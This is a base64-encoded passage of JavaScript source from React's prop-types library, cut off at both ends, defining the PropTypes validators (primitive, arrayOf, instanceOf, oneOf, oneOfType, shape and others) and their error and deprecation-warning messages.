FxuICAgKi9cblxuICB2YXIgQU5PTllNT1VTID0gJzw8YW5vbnltb3VzPj4nO1xuXG4gIC8vIEltcG9ydGFudCFcbiAgLy8gS2VlcCB0aGlzIGxpc3QgaW4gc3luYyB3aXRoIHByb2R1Y3Rpb24gdmVyc2lvbiBpbiBgLi9mYWN0b3J5V2l0aFRocm93aW5nU2hpbXMuanNgLlxuICB2YXIgUmVhY3RQcm9wVHlwZXMgPSB7XG4gICAgYXJyYXk6IGNyZWF0ZVByaW1pdGl2ZVR5cGVDaGVja2VyKCdhcnJheScpLFxuICAgIGJvb2w6IGNyZWF0ZVByaW1pdGl2ZVR5cGVDaGVja2VyKCdib29sZWFuJyksXG4gICAgZnVuYzogY3JlYXRlUHJpbWl0aXZlVHlwZUNoZWNrZXIoJ2Z1bmN0aW9uJyksXG4gICAgbnVtYmVyOiBjcmVhdGVQcmltaXRpdmVUeXBlQ2hlY2tlcignbnVtYmVyJyksXG4gICAgb2JqZWN0OiBjcmVhdGVQcmltaXRpdmVUeXBlQ2hlY2tlcignb2JqZWN0JyksXG4gICAgc3RyaW5nOiBjcmVhdGVQcmltaXRpdmVUeXBlQ2hlY2tlcignc3RyaW5nJyksXG4gICAgc3ltYm9sOiBjcmVhdGVQcmltaXRpdmVUeXBlQ2hlY2tlcignc3ltYm9sJyksXG5cbiAgICBhbnk6IGNyZWF0ZUFueVR5cGVDaGVja2VyKCksXG4gICAgYXJyYXlPZjogY3JlYXRlQXJyYXlPZlR5cGVDaGVja2VyLFxuICAgIGVsZW1lbnQ6IGNyZWF0ZUVsZW1lbnRUeXBlQ2hlY2tlcigpLFxuICAgIGluc3RhbmNlT2Y6IGNyZWF0ZUluc3RhbmNlVHlwZUNoZWNrZXIsXG4gICAgbm9kZTogY3JlYXRlTm9kZUNoZWNrZXIoKSxcbiAgICBvYmplY3RPZjogY3JlYXRlT2JqZWN0T2ZUeXBlQ2hlY2tlcixcbiAgICBvbmVPZjogY3JlYXRlRW51bVR5cGVDaGVja2VyLFxuICAgIG9uZU9mVHlwZTogY3JlYXRlVW5pb25UeXBlQ2hlY2tlcixcbiAgICBzaGFwZTogY3JlYXRlU2hhcGVUeXBlQ2hlY2tlcixcbiAgICBleGFjdDogY3JlYXRlU3RyaWN0U2hhcGVUeXBlQ2hlY2tlcixcbiAgfTtcblxuICAvKipcbiAgICogaW5saW5lZCBPYmplY3QuaXMgcG9seWZpbGwgdG8gYXZvaWQgcmVxdWlyaW5nIGNvbnN1bWVycyBzaGlwIHRoZWlyIG93blxuICAgKiBodHRwczovL2RldmVsb3Blci5tb3ppbGxhLm9yZy9lbi1VUy9kb2NzL1dlYi9KYXZhU2NyaXB0L1JlZmVyZW5jZS9HbG9iYWxfT2JqZWN0cy9PYmplY3QvaXNcbiAgICovXG4gIC8qZXNsaW50LWRpc2FibGUgbm8tc2VsZi1jb21wYXJlKi9cbiAgZnVuY3Rpb24gaXMoeCwgeSkge1xuICAgIC8vIFNhbWVWYWx1ZSBhbGdvcml0aG1cbiAgICBpZiAoeCA9PT0geSkge1xuICAgICAgLy8gU3RlcHMgMS01LCA3LTEwXG4gICAgICAvLyBTdGVwcyA2LmItNi5lOiArMCAhPSAtMFxuICAgICAgcmV0dXJuIHggIT09IDAgfHwgMSAvIHggPT09IDEgLyB5O1xuICAgIH0gZWxzZSB7XG4gICAgICAvLyBTdGVwIDYuYTogTmFOID09IE5hTlxuICAgICAgcmV0dXJuIHggIT09IHggJiYgeSAhPT0geTtcbiAgICB9XG4gIH1cbiAgLyplc2xpbnQtZW5hYmxlIG5vLXNlbGYtY29tcGFyZSovXG5cbiAgLyoqXG4gICAqIFdlIHVzZSBhbiBFcnJvci1saWtlIG9iamVjdCBmb3IgYmFja3dhcmQgY29tcGF0aWJpbGl0eSBhcyBwZW9wbGUgbWF5IGNhbGxcbiAgICogUHJvcFR5cGVzIGRpcmVjdGx5IGFuZCBpbnNwZWN0IHRoZWlyIG91dHB1dC4gSG93ZXZlciwgd2UgZG9uJ3QgdXNlIHJlYWxcbiAgICogRXJyb3JzIGFueW1vcmUuIFdlIGRvbid0IGluc3BlY3QgdGhlaXIgc3RhY2sgYW55d2F5LCBhbmQgY3JlYXRpbmcgdGhlbVxuICAgKiBpcyBwcm9oaWJpdGl2ZWx5IGV4cGVuc2l2ZSBpZiB0aGV5IGFyZSBjcmVhdGVkIHRvbyBvZnRlbiwgc3VjaCBhcyB3aGF0XG4gICAqIGhhcHBlbnMgaW4gb25lT2ZUeXBlKCkgZm9yIGFueSB0eXBlIGJlZm9yZSB0aGUgb25lIHRoYXQgbWF0Y2hlZC5cbiAgICovXG4gIGZ1bmN0aW9uIFByb3BUeXBlRXJyb3IobWVzc2FnZSkge1xuICAgIHRoaXMubWVzc2FnZSA9IG1lc3NhZ2U7XG4gICAgdGhpcy5zdGFjayA9ICcnO1xuICB9XG4gIC8vIE1ha2UgYGluc3RhbmNlb2YgRXJyb3JgIHN0aWxsIHdvcmsgZm9yIHJldHVybmVkIGVycm9ycy5cbiAgUHJvcFR5cGVFcnJvci5wcm90b3R5cGUgPSBFcnJvci5wcm90b3R5cGU7XG5cbiAgZnVuY3Rpb24gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpIHtcbiAgICBpZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICAgICAgdmFyIG1hbnVhbFByb3BUeXBlQ2FsbENhY2hlID0ge307XG4gICAgICB2YXIgbWFudWFsUHJvcFR5cGVXYXJuaW5nQ291bnQgPSAwO1xuICAgIH1cbiAgICBmdW5jdGlvbiBjaGVja1R5cGUoaXNSZXF1aXJlZCwgcHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lLCBzZWNyZXQpIHtcbiAgICAgIGNvbXBvbmVudE5hbWUgPSBjb21wb25lbnROYW1lIHx8IEFOT05ZTU9VUztcbiAgICAgIHByb3BGdWxsTmFtZSA9IHByb3BGdWxsTmFtZSB8fCBwcm9wTmFtZTtcblxuICAgICAgaWYgKHNlY3JldCAhPT0gUmVhY3RQcm9wVHlwZXNTZWNyZXQpIHtcbiAgICAgICAgaWYgKHRocm93T25EaXJlY3RBY2Nlc3MpIHtcbiAgICAgICAgICAvLyBOZXcgYmVoYXZpb3Igb25seSBmb3IgdXNlcnMgb2YgYHByb3AtdHlwZXNgIHBhY2thZ2VcbiAgICAgICAgICB2YXIgZXJyID0gbmV3IEVycm9yKFxuICAgICAgICAgICAgJ0NhbGxpbmcgUHJvcFR5cGVzIHZhbGlkYXRvcnMgZGlyZWN0bHkgaXMgbm90IHN1cHBvcnRlZCBieSB0aGUgYHByb3AtdHlwZXNgIHBhY2thZ2UuICcgK1xuICAgICAgICAgICAgJ1VzZSBgUHJvcFR5cGVzLmNoZWNrUHJvcFR5cGVzKClgIHRvIGNhbGwgdGhlbS4gJyArXG4gICAgICAgICAgICAnUmVhZCBtb3JlIGF0IGh0dHA6Ly9mYi5tZS91c2UtY2hlY2stcHJvcC10eXBlcydcbiAgICAgICAgICApO1xuICAgICAgICAgIGVyci5uYW1lID0gJ0ludmFyaWFudCBWaW9sYXRpb24nO1xuICAgICAgICAgIHRocm93IGVycjtcbiAgICAgICAgfSBlbHNlIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nICYmIHR5cGVvZiBjb25zb2xlICE9PSAndW5kZWZpbmVkJykge1xuICAgICAgICAgIC8vIE9sZCBiZWhhdmlvciBmb3IgcGVvcGxlIHVzaW5nIFJlYWN0LlByb3BUeXBlc1xuICAgICAgICAgIHZhciBjYWNoZUtleSA9IGNvbXBvbmVudE5hbWUgKyAnOicgKyBwcm9wTmFtZTtcbiAgICAgICAgICBpZiAoXG4gICAgICAgICAgICAhbWFudWFsUHJvcFR5cGVDYWxsQ2FjaGVbY2FjaGVLZXldICYmXG4gICAgICAgICAgICAvLyBBdm9pZCBzcGFtbWluZyB0aGUgY29uc29sZSBiZWNhdXNlIHRoZXkgYXJlIG9mdGVuIG5vdCBhY3Rpb25hYmxlIGV4Y2VwdCBmb3IgbGliIGF1dGhvcnNcbiAgICAgICAgICAgIG1hbnVhbFByb3BUeXBlV2FybmluZ0NvdW50IDwgM1xuICAgICAgICAgICkge1xuICAgICAgICAgICAgcHJpbnRXYXJuaW5nKFxuICAgICAgICAgICAgICAnWW91IGFyZSBtYW51YWxseSBjYWxsaW5nIGEgUmVhY3QuUHJvcFR5cGVzIHZhbGlkYXRpb24gJyArXG4gICAgICAgICAgICAgICdmdW5jdGlvbiBmb3IgdGhlIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2AgcHJvcCBvbiBgJyArIGNvbXBvbmVudE5hbWUgICsgJ2AuIFRoaXMgaXMgZGVwcmVjYXRlZCAnICtcbiAgICAgICAgICAgICAgJ2FuZCB3aWxsIHRocm93IGluIHRoZSBzdGFuZGFsb25lIGBwcm9wLXR5cGVzYCBwYWNrYWdlLiAnICtcbiAgICAgICAgICAgICAgJ1lvdSBtYXkgYmUgc2VlaW5nIHRoaXMgd2FybmluZyBkdWUgdG8gYSB0aGlyZC1wYXJ0eSBQcm9wVHlwZXMgJyArXG4gICAgICAgICAgICAgICdsaWJyYXJ5LiBTZWUgaHR0cHM6Ly9mYi5tZS9yZWFjdC13YXJuaW5nLWRvbnQtY2FsbC1wcm9wdHlwZXMgJyArICdmb3IgZGV0YWlscy4nXG4gICAgICAgICAgICApO1xuICAgICAgICAgICAgbWFudWFsUHJvcFR5cGVDYWxsQ2FjaGVbY2FjaGVLZXldID0gdHJ1ZTtcbiAgICAgICAgICAgIG1hbnVhbFByb3BUeXBlV2FybmluZ0NvdW50Kys7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAocHJvcHNbcHJvcE5hbWVdID09IG51bGwpIHtcbiAgICAgICAgaWYgKGlzUmVxdWlyZWQpIHtcbiAgICAgICAgICBpZiAocHJvcHNbcHJvcE5hbWVdID09PSBudWxsKSB7XG4gICAgICAgICAgICByZXR1cm4gbmV3IFByb3BUeXBlRXJyb3IoJ1RoZSAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2AgaXMgbWFya2VkIGFzIHJlcXVpcmVkICcgKyAoJ2luIGAnICsgY29tcG9uZW50TmFtZSArICdgLCBidXQgaXRzIHZhbHVlIGlzIGBudWxsYC4nKSk7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignVGhlICcgKyBsb2NhdGlvbiArICcgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBpcyBtYXJrZWQgYXMgcmVxdWlyZWQgaW4gJyArICgnYCcgKyBjb21wb25lbnROYW1lICsgJ2AsIGJ1dCBpdHMgdmFsdWUgaXMgYHVuZGVmaW5lZGAuJykpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBudWxsO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgcmV0dXJuIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgdmFyIGNoYWluZWRDaGVja1R5cGUgPSBjaGVja1R5cGUuYmluZChudWxsLCBmYWxzZSk7XG4gICAgY2hhaW5lZENoZWNrVHlwZS5pc1JlcXVpcmVkID0gY2hlY2tUeXBlLmJpbmQobnVsbCwgdHJ1ZSk7XG5cbiAgICByZXR1cm4gY2hhaW5lZENoZWNrVHlwZTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNyZWF0ZVByaW1pdGl2ZVR5cGVDaGVja2VyKGV4cGVjdGVkVHlwZSkge1xuICAgIGZ1bmN0aW9uIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSwgc2VjcmV0KSB7XG4gICAgICB2YXIgcHJvcFZhbHVlID0gcHJvcHNbcHJvcE5hbWVdO1xuICAgICAgdmFyIHByb3BUeXBlID0gZ2V0UHJvcFR5cGUocHJvcFZhbHVlKTtcbiAgICAgIGlmIChwcm9wVHlwZSAhPT0gZXhwZWN0ZWRUeXBlKSB7XG4gICAgICAgIC8vIGBwcm9wVmFsdWVgIGJlaW5nIGluc3RhbmNlIG9mLCBzYXksIGRhdGUvcmVnZXhwLCBwYXNzIHRoZSAnb2JqZWN0J1xuICAgICAgICAvLyBjaGVjaywgYnV0IHdlIGNhbiBvZmZlciBhIG1vcmUgcHJlY2lzZSBlcnJvciBtZXNzYWdlIGhlcmUgcmF0aGVyIHRoYW5cbiAgICAgICAgLy8gJ29mIHR5cGUgYG9iamVjdGAnLlxuICAgICAgICB2YXIgcHJlY2lzZVR5cGUgPSBnZXRQcmVjaXNlVHlwZShwcm9wVmFsdWUpO1xuXG4gICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignSW52YWxpZCAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agb2YgdHlwZSAnICsgKCdgJyArIHByZWNpc2VUeXBlICsgJ2Agc3VwcGxpZWQgdG8gYCcgKyBjb21wb25lbnROYW1lICsgJ2AsIGV4cGVjdGVkICcpICsgKCdgJyArIGV4cGVjdGVkVHlwZSArICdgLicpKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBudWxsO1xuICAgIH1cbiAgICByZXR1cm4gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gY3JlYXRlQW55VHlwZUNoZWNrZXIoKSB7XG4gICAgcmV0dXJuIGNyZWF0ZUNoYWluYWJsZVR5cGVDaGVja2VyKGVtcHR5RnVuY3Rpb25UaGF0UmV0dXJuc051bGwpO1xuICB9XG5cbiAgZnVuY3Rpb24gY3JlYXRlQXJyYXlPZlR5cGVDaGVja2VyKHR5cGVDaGVja2VyKSB7XG4gICAgZnVuY3Rpb24gdmFsaWRhdGUocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lKSB7XG4gICAgICBpZiAodHlwZW9mIHR5cGVDaGVja2VyICE9PSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignUHJvcGVydHkgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBvZiBjb21wb25lbnQgYCcgKyBjb21wb25lbnROYW1lICsgJ2AgaGFzIGludmFsaWQgUHJvcFR5cGUgbm90YXRpb24gaW5zaWRlIGFycmF5T2YuJyk7XG4gICAgICB9XG4gICAgICB2YXIgcHJvcFZhbHVlID0gcHJvcHNbcHJvcE5hbWVdO1xuICAgICAgaWYgKCFBcnJheS5pc0FycmF5KHByb3BWYWx1ZSkpIHtcbiAgICAgICAgdmFyIHByb3BUeXBlID0gZ2V0UHJvcFR5cGUocHJvcFZhbHVlKTtcbiAgICAgICAgcmV0dXJuIG5ldyBQcm9wVHlwZUVycm9yKCdJbnZhbGlkICcgKyBsb2NhdGlvbiArICcgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBvZiB0eXBlICcgKyAoJ2AnICsgcHJvcFR5cGUgKyAnYCBzdXBwbGllZCB0byBgJyArIGNvbXBvbmVudE5hbWUgKyAnYCwgZXhwZWN0ZWQgYW4gYXJyYXkuJykpO1xuICAgICAgfVxuICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBwcm9wVmFsdWUubGVuZ3RoOyBpKyspIHtcbiAgICAgICAgdmFyIGVycm9yID0gdHlwZUNoZWNrZXIocHJvcFZhbHVlLCBpLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lICsgJ1snICsgaSArICddJywgUmVhY3RQcm9wVHlwZXNTZWNyZXQpO1xuICAgICAgICBpZiAoZXJyb3IgaW5zdGFuY2VvZiBFcnJvcikge1xuICAgICAgICAgIHJldHVybiBlcnJvcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIG51bGw7XG4gICAgfVxuICAgIHJldHVybiBjcmVhdGVDaGFpbmFibGVUeXBlQ2hlY2tlcih2YWxpZGF0ZSk7XG4gIH1cblxuICBmdW5jdGlvbiBjcmVhdGVFbGVtZW50VHlwZUNoZWNrZXIoKSB7XG4gICAgZnVuY3Rpb24gdmFsaWRhdGUocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lKSB7XG4gICAgICB2YXIgcHJvcFZhbHVlID0gcHJvcHNbcHJvcE5hbWVdO1xuICAgICAgaWYgKCFpc1ZhbGlkRWxlbWVudChwcm9wVmFsdWUpKSB7XG4gICAgICAgIHZhciBwcm9wVHlwZSA9IGdldFByb3BUeXBlKHByb3BWYWx1ZSk7XG4gICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignSW52YWxpZCAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agb2YgdHlwZSAnICsgKCdgJyArIHByb3BUeXBlICsgJ2Agc3VwcGxpZWQgdG8gYCcgKyBjb21wb25lbnROYW1lICsgJ2AsIGV4cGVjdGVkIGEgc2luZ2xlIFJlYWN0RWxlbWVudC4nKSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVsbDtcbiAgICB9XG4gICAgcmV0dXJuIGNyZWF0ZUNoYWluYWJsZVR5cGVDaGVja2VyKHZhbGlkYXRlKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNyZWF0ZUluc3RhbmNlVHlwZUNoZWNrZXIoZXhwZWN0ZWRDbGFzcykge1xuICAgIGZ1bmN0aW9uIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSkge1xuICAgICAgaWYgKCEocHJvcHNbcHJvcE5hbWVdIGluc3RhbmNlb2YgZXhwZWN0ZWRDbGFzcykpIHtcbiAgICAgICAgdmFyIGV4cGVjdGVkQ2xhc3NOYW1lID0gZXhwZWN0ZWRDbGFzcy5uYW1lIHx8IEFOT05ZTU9VUztcbiAgICAgICAgdmFyIGFjdHVhbENsYXNzTmFtZSA9IGdldENsYXNzTmFtZShwcm9wc1twcm9wTmFtZV0pO1xuICAgICAgICByZXR1cm4gbmV3IFByb3BUeXBlRXJyb3IoJ0ludmFsaWQgJyArIGxvY2F0aW9uICsgJyBgJyArIHByb3BGdWxsTmFtZSArICdgIG9mIHR5cGUgJyArICgnYCcgKyBhY3R1YWxDbGFzc05hbWUgKyAnYCBzdXBwbGllZCB0byBgJyArIGNvbXBvbmVudE5hbWUgKyAnYCwgZXhwZWN0ZWQgJykgKyAoJ2luc3RhbmNlIG9mIGAnICsgZXhwZWN0ZWRDbGFzc05hbWUgKyAnYC4nKSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVsbDtcbiAgICB9XG4gICAgcmV0dXJuIGNyZWF0ZUNoYWluYWJsZVR5cGVDaGVja2VyKHZhbGlkYXRlKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNyZWF0ZUVudW1UeXBlQ2hlY2tlcihleHBlY3RlZFZhbHVlcykge1xuICAgIGlmICghQXJyYXkuaXNBcnJheShleHBlY3RlZFZhbHVlcykpIHtcbiAgICAgIHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicgPyBwcmludFdhcm5pbmcoJ0ludmFsaWQgYXJndW1lbnQgc3VwcGxpZWQgdG8gb25lT2YsIGV4cGVjdGVkIGFuIGluc3RhbmNlIG9mIGFycmF5LicpIDogdm9pZCAwO1xuICAgICAgcmV0dXJuIGVtcHR5RnVuY3Rpb25UaGF0UmV0dXJuc051bGw7XG4gICAgfVxuXG4gICAgZnVuY3Rpb24gdmFsaWRhdGUocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lKSB7XG4gICAgICB2YXIgcHJvcFZhbHVlID0gcHJvcHNbcHJvcE5hbWVdO1xuICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBleHBlY3RlZFZhbHVlcy5sZW5ndGg7IGkrKykge1xuICAgICAgICBpZiAoaXMocHJvcFZhbHVlLCBleHBlY3RlZFZhbHVlc1tpXSkpIHtcbiAgICAgICAgICByZXR1cm4gbnVsbDtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICB2YXIgdmFsdWVzU3RyaW5nID0gSlNPTi5zdHJpbmdpZnkoZXhwZWN0ZWRWYWx1ZXMpO1xuICAgICAgcmV0dXJuIG5ldyBQcm9wVHlwZUVycm9yKCdJbnZhbGlkICcgKyBsb2NhdGlvbiArICcgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBvZiB2YWx1ZSBgJyArIHByb3BWYWx1ZSArICdgICcgKyAoJ3N1cHBsaWVkIHRvIGAnICsgY29tcG9uZW50TmFtZSArICdgLCBleHBlY3RlZCBvbmUgb2YgJyArIHZhbHVlc1N0cmluZyArICcuJykpO1xuICAgIH1cbiAgICByZXR1cm4gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gY3JlYXRlT2JqZWN0T2ZUeXBlQ2hlY2tlcih0eXBlQ2hlY2tlcikge1xuICAgIGZ1bmN0aW9uIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSkge1xuICAgICAgaWYgKHR5cGVvZiB0eXBlQ2hlY2tlciAhPT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICByZXR1cm4gbmV3IFByb3BUeXBlRXJyb3IoJ1Byb3BlcnR5IGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agb2YgY29tcG9uZW50IGAnICsgY29tcG9uZW50TmFtZSArICdgIGhhcyBpbnZhbGlkIFByb3BUeXBlIG5vdGF0aW9uIGluc2lkZSBvYmplY3RPZi4nKTtcbiAgICAgIH1cbiAgICAgIHZhciBwcm9wVmFsdWUgPSBwcm9wc1twcm9wTmFtZV07XG4gICAgICB2YXIgcHJvcFR5cGUgPSBnZXRQcm9wVHlwZShwcm9wVmFsdWUpO1xuICAgICAgaWYgKHByb3BUeXBlICE9PSAnb2JqZWN0Jykge1xuICAgICAgICByZXR1cm4gbmV3IFByb3BUeXBlRXJyb3IoJ0ludmFsaWQgJyArIGxvY2F0aW9uICsgJyBgJyArIHByb3BGdWxsTmFtZSArICdgIG9mIHR5cGUgJyArICgnYCcgKyBwcm9wVHlwZSArICdgIHN1cHBsaWVkIHRvIGAnICsgY29tcG9uZW50TmFtZSArICdgLCBleHBlY3RlZCBhbiBvYmplY3QuJykpO1xuICAgICAgfVxuICAgICAgZm9yICh2YXIga2V5IGluIHByb3BWYWx1ZSkge1xuICAgICAgICBpZiAocHJvcFZhbHVlLmhhc093blByb3BlcnR5KGtleSkpIHtcbiAgICAgICAgICB2YXIgZXJyb3IgPSB0eXBlQ2hlY2tlcihwcm9wVmFsdWUsIGtleSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSArICcuJyArIGtleSwgUmVhY3RQcm9wVHlwZXNTZWNyZXQpO1xuICAgICAgICAgIGlmIChlcnJvciBpbnN0YW5jZW9mIEVycm9yKSB7XG4gICAgICAgICAgICByZXR1cm4gZXJyb3I7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbnVsbDtcbiAgICB9XG4gICAgcmV0dXJuIGNyZWF0ZUNoYWluYWJsZVR5cGVDaGVja2VyKHZhbGlkYXRlKTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGNyZWF0ZVVuaW9uVHlwZUNoZWNrZXIoYXJyYXlPZlR5cGVDaGVja2Vycykge1xuICAgIGlmICghQXJyYXkuaXNBcnJheShhcnJheU9mVHlwZUNoZWNrZXJzKSkge1xuICAgICAgcHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJyA/IHByaW50V2FybmluZygnSW52YWxpZCBhcmd1bWVudCBzdXBwbGllZCB0byBvbmVPZlR5cGUsIGV4cGVjdGVkIGFuIGluc3RhbmNlIG9mIGFycmF5LicpIDogdm9pZCAwO1xuICAgICAgcmV0dXJuIGVtcHR5RnVuY3Rpb25UaGF0UmV0dXJuc051bGw7XG4gICAgfVxuXG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBhcnJheU9mVHlwZUNoZWNrZXJzLmxlbmd0aDsgaSsrKSB7XG4gICAgICB2YXIgY2hlY2tlciA9IGFycmF5T2ZUeXBlQ2hlY2tlcnNbaV07XG4gICAgICBpZiAodHlwZW9mIGNoZWNrZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgcHJpbnRXYXJuaW5nKFxuICAgICAgICAgICdJbnZhbGlkIGFyZ3VtZW50IHN1cHBsaWVkIHRvIG9uZU9mVHlwZS4gRXhwZWN0ZWQgYW4gYXJyYXkgb2YgY2hlY2sgZnVuY3Rpb25zLCBidXQgJyArXG4gICAgICAgICAgJ3JlY2VpdmVkICcgKyBnZXRQb3N0Zml4Rm9yVHlwZVdhcm5pbmcoY2hlY2tlcikgKyAnIGF0IGluZGV4ICcgKyBpICsgJy4nXG4gICAgICAgICk7XG4gICAgICAgIHJldHVybiBlbXB0eUZ1bmN0aW9uVGhhdFJldHVybnNOdWxsO1xuICAgICAgfVxuICAgIH1cblxuICAgIGZ1bmN0aW9uIHZhbGlkYXRlKHByb3BzLCBwcm9wTmFtZSwgY29tcG9uZW50TmFtZSwgbG9jYXRpb24sIHByb3BGdWxsTmFtZSkge1xuICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBhcnJheU9mVHlwZUNoZWNrZXJzLmxlbmd0aDsgaSsrKSB7XG4gICAgICAgIHZhciBjaGVja2VyID0gYXJyYXlPZlR5cGVDaGVja2Vyc1tpXTtcbiAgICAgICAgaWYgKGNoZWNrZXIocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lLCBSZWFjdFByb3BUeXBlc1NlY3JldCkgPT0gbnVsbCkge1xuICAgICAgICAgIHJldHVybiBudWxsO1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignSW52YWxpZCAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agc3VwcGxpZWQgdG8gJyArICgnYCcgKyBjb21wb25lbnROYW1lICsgJ2AuJykpO1xuICAgIH1cbiAgICByZXR1cm4gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gY3JlYXRlTm9kZUNoZWNrZXIoKSB7XG4gICAgZnVuY3Rpb24gdmFsaWRhdGUocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lKSB7XG4gICAgICBpZiAoIWlzTm9kZShwcm9wc1twcm9wTmFtZV0pKSB7XG4gICAgICAgIHJldHVybiBuZXcgUHJvcFR5cGVFcnJvcignSW52YWxpZCAnICsgbG9jYXRpb24gKyAnIGAnICsgcHJvcEZ1bGxOYW1lICsgJ2Agc3VwcGxpZWQgdG8gJyArICgnYCcgKyBjb21wb25lbnROYW1lICsgJ2AsIGV4cGVjdGVkIGEgUmVhY3ROb2RlLicpKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBudWxsO1xuICAgIH1cbiAgICByZXR1cm4gY3JlYXRlQ2hhaW5hYmxlVHlwZUNoZWNrZXIodmFsaWRhdGUpO1xuICB9XG5cbiAgZnVuY3Rpb24gY3JlYXRlU2hhcGVUeXBlQ2hlY2tlcihzaGFwZVR5cGVzKSB7XG4gICAgZnVuY3Rpb24gdmFsaWRhdGUocHJvcHMsIHByb3BOYW1lLCBjb21wb25lbnROYW1lLCBsb2NhdGlvbiwgcHJvcEZ1bGxOYW1lKSB7XG4gICAgICB2YXIgcHJvcFZhbHVlID0gcHJvcHNbcHJvcE5hbWVdO1xuICAgICAgdmFyIHByb3BUeXBlID0gZ2V0UHJvcFR5cGUocHJvcFZhbHVlKTtcbiAgICAgIGlmIChwcm9wVHlwZSAhPT0gJ29iamVjdCcpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBQcm9wVHlwZUVycm9yKCdJbnZhbGlkICcgKyBsb2NhdGlvbiArICcgYCcgKyBwcm9wRnVsbE5hbWUgKyAnYCBvZiB0eXBlIGAnICsgcHJvcFR5cGUgKyAnYCAnICsgKCdzdXBwbGllZCB0byBgJyArIGNvbXBvbmVudE5hbWUgKyAnYCwgZXhwZWN0ZWQgYG9iamVjdGAuJykpO1xuICAgICAgfVxuICAgICAgZm9yICh2YXIga2V5IGluIHNoYXBlVHlwZXMpIHtcbiAgICAgICAgdmFyIGNoZWNrZXIgPSBzaGFwZVR5cGVzW2tleV07XG4gICAgICAgIGlmICghY2hlY2tlcikge1xuICAgICAgICAgIGNvbnRpbnVlO1xuICAgICAgICB9XG4gICAgICAgIHZhciBlcnJvciA9I